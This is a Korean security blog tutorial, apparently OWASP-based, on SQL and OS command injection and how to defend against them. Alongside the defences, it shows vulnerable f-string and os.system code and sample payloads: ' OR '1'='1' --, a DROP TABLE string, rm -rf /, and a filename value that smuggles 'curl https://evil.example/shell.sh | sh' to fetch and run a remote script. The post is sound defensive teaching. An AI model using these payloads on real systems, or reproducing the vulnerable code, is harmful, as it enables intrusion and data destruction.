학습 목표
Injection이 신뢰할 수 없는 입력이 인터프리터(SQL·OS·LDAP)에 명령으로 섞일 때 발생함을 설명할 수 있다.
SQL injection에서 문자열 연결·동적 쿼리가 쿼리 구조를 바꾸는 방식을 설명할 수 있다.
Prepared statement(파라미터 바인딩)로 데이터와 코드를 분리하는 이유를 설명할 수 있다.
Command injection과 allowlist·API 대체 실행 방어를 설명할 수 있다.
최소 DB 권한·입력 검증·ORM이 defense in depth에서 맡는 역할을 설명할 수 있다.
문제 상황
- 로그인
username에' OR '1'='1— 전 사용자 로그인- 쿼리가 문자열 붙이기로 만들어짐
- 검색
q=; DROP TABLE orders;--` — 백업 없으면 종료- 앱 DB 계정에 DDL 권한까지 있음
- PDF 변환 API에
filename=report.pdf; curl attacker.com— 서버에서 curl 실행os.system("convert " + filename)한 줄
- ORM 쓴다며 raw query에 f-string — SQLi 그대로
- WAF가
' OR막음 — 인코딩·주석 우회로 재현
Part 3 OWASP 시작 — 인증·인가 다음은 입력이 코드가 되는 취약점. Broken Access Control과 다름 — 인증됐어도 쿼리·명령이 깨진다.
본 글의 페이로드·예제는 방어·테스트 학습 목적이다. 허가 없는 시스템 공격은 불법이다.
1. Injection이란
Injection — 사용자 입력이 SQL·OS shell·LDAP·템플릿 등 인터프리터에 구문으로 해석될 때 발생 (OWASP Top 10 A03:2021 Injection).

정상: input = 데이터 → 쿼리/명령의 **값**
공격: input = 데이터 + **구문** → 의도와 다른 **명령** 실행
| 인터프리터 | 예 | 편에서 |
|---|---|---|
| SQL | ' OR 1=1-- |
본편 중심 |
| OS command | ; rm -rf / |
command injection |
| LDAP | *)(uid=* |
개념만 |
| NoSQL | $gt operator inject |
MongoDB $where 주의 |
- 근본 — 신뢰 경계 밖 입력을 코드 조립에 넣음
- 앞서 fail secure — 파싱 실패·이상 입력은 거부
2. SQL injection
메커니즘
앱이 SQL을 문자열 연결로 만든다.
# 취약 — code/sqli-vulnerable.py (발췌)
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)
입력 username:
' OR '1'='1' --
실행되는 쿼리:
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '...'
--뒤는 주석 — password 조건 무시- Union·서브쿼리로 다른 테이블 탈취
- Blind SQLi — 에러/지연으로 한 글자씩 추출

방어 — Prepared statement
Prepared statement — SQL 틀과 값을 분리. DB가 값을 데이터로만 처리.
# 안전 — code/sqli-safe.py (발췌)
query = "SELECT id FROM users WHERE username = %s AND password_hash = %s"
cursor.execute(query, (username, password_hash))
| 문자열 연결 | Prepared statement | |
|---|---|---|
| 입력 위치 | 쿼리 문자열 안 | 바인딩 슬롯 |
' 처리 |
구문 깨짐 | 이스케이프된 값 |
| 동적 식별자 | 테이블/컬럼명 — 별도 allowlist |
// JDBC — ? placeholder
PreparedStatement ps = conn.prepareStatement(
"SELECT id FROM users WHERE username = ? AND password_hash = ?");
ps.setString(1, username);
ps.setString(2, passwordHash);
- ORM(JPA, SQLAlchemy) — 기본 API는 parameterized; raw SQL·
text(f"...")주의 - 2nd order SQLi — 입력을 저장했다가 나중 쿼리에 연결 — 저장 시에도 검증
동적 테이블·ORDER BY
# 컬럼명은 bind 불가 — allowlist
SORT_COLUMNS = {"name", "created_at", "amount"}
col = sort if sort in SORT_COLUMNS else "created_at"
query = f"SELECT * FROM orders ORDER BY {col} DESC" # col만 동적, 값은 bind
- 절대 사용자 입력을 식별자로 직접 삽입하지 않음
3. Command injection
OS command injection — 사용자 입력이 shell·exec에 그대로 들어갈 때.
# 취약 — code/command-injection-vulnerable.example
import os
os.system(f"convert {user_filename} output.pdf")
입력 user_filename:
file.png; curl https://evil.example/shell.sh | sh
| 방어 | 설명 |
|---|---|
| API 사용 | subprocess + list 인자, shell=False |
| Allowlist | 파일명 [a-zA-Z0-9._-]+ 만 |
| chroot/jail | 변환 전용 워커, 네트워크 차단 |
| no shell | os.system·` 금지 |
# 안전 — code/command-injection-safe.example
import re
import subprocess
if not re.fullmatch(r"[\w.\-]{1,64}", user_filename):
raise ValueError("invalid filename")
subprocess.run(
["convert", user_filename, "output.pdf"],
check=True,
shell=False,
)
- Argument injection —
curl --output /etc/passwd— 플래그도 allowlist·전용 라이브러리 - 앞서 least privilege — 웹 프로세스가 shell·불필요 바이너리 실행 불가면 피해 축소
4. 방어 계층

| 계층 | 역할 | 한계 |
|---|---|---|
| 입력 검증 | 타입·길이·allowlist | 유일 방어 ❌ |
| Parameterized query | SQLi 1차 방어 | 식별자 동적은 별도 |
| ORM / query builder | 실수 감소 | raw escape 위험 |
| Least privilege DB | SELECT only, no DDL |
탈취 범위 축소 |
| WAF / RASP | 알려진 패턴 탐지 | 우회 가능, 보조 |
Defense in depth (2편):
WAF만 ✗
parameterized + DB role + validation ✓
- 에러 메시지 — SQL/stack trace 클라이언트 노출 금지 (recon aid)
- 로깅 — injection 시도 감사 (Observability) — 페이로드 PII 주의
5. 테스트·체크리스트
| 항목 | 확인 |
|---|---|
| SQL | 모든 DB 호출 parameterized — grep f"SELECT·+ user |
| ORM | raw·execute(string.format) 없음 |
| shell | os.system·shell=True 없음 |
| DB 계정 | app role DDL/DROP 불가 |
| 동적 ORDER BY | allowlist |
| CI | SAST(semgrep) · sqlmap on staging (허가 환경) |
| 안티패턴 | |
|---|---|
| escaping만 | '\" 누락·encoding 우회 |
| stored proc만 | 내부 dynamic SQL |
| "내부 API" | 신뢰 경계는 항상 |
6. 정리
- Injection — 입력이 인터프리터 구문이 됨 — SQL·shell 대표
- SQLi — 문자열 연결 → prepared statement + 식별자 allowlist
- Command injection — shell=False·API·파일명 allowlist
- WAF는 보조 — 코드에서 분리가 본질
- Least privilege DB — SQLi 성공해도 blast radius 축소
다음에 다룰 것
- XSS와 CSRF
- stored/reflected/DOM, SameSite, token
해당 내용은 OWASP Top 10, OWASP SQL Injection Prevention Cheat Sheet, CWE-89 (SQL Injection) 의 내용을 기반으로 합니다.
'애플리케이션 보안' 카테고리의 다른 글
| Broken Access Control (0) | 2026.06.28 |
|---|---|
| XSS와 CSRF (0) | 2026.06.27 |
| 인가 모델 (0) | 2026.06.25 |
| OpenID Connect (0) | 2026.06.24 |
| OAuth 2.0 (0) | 2026.06.23 |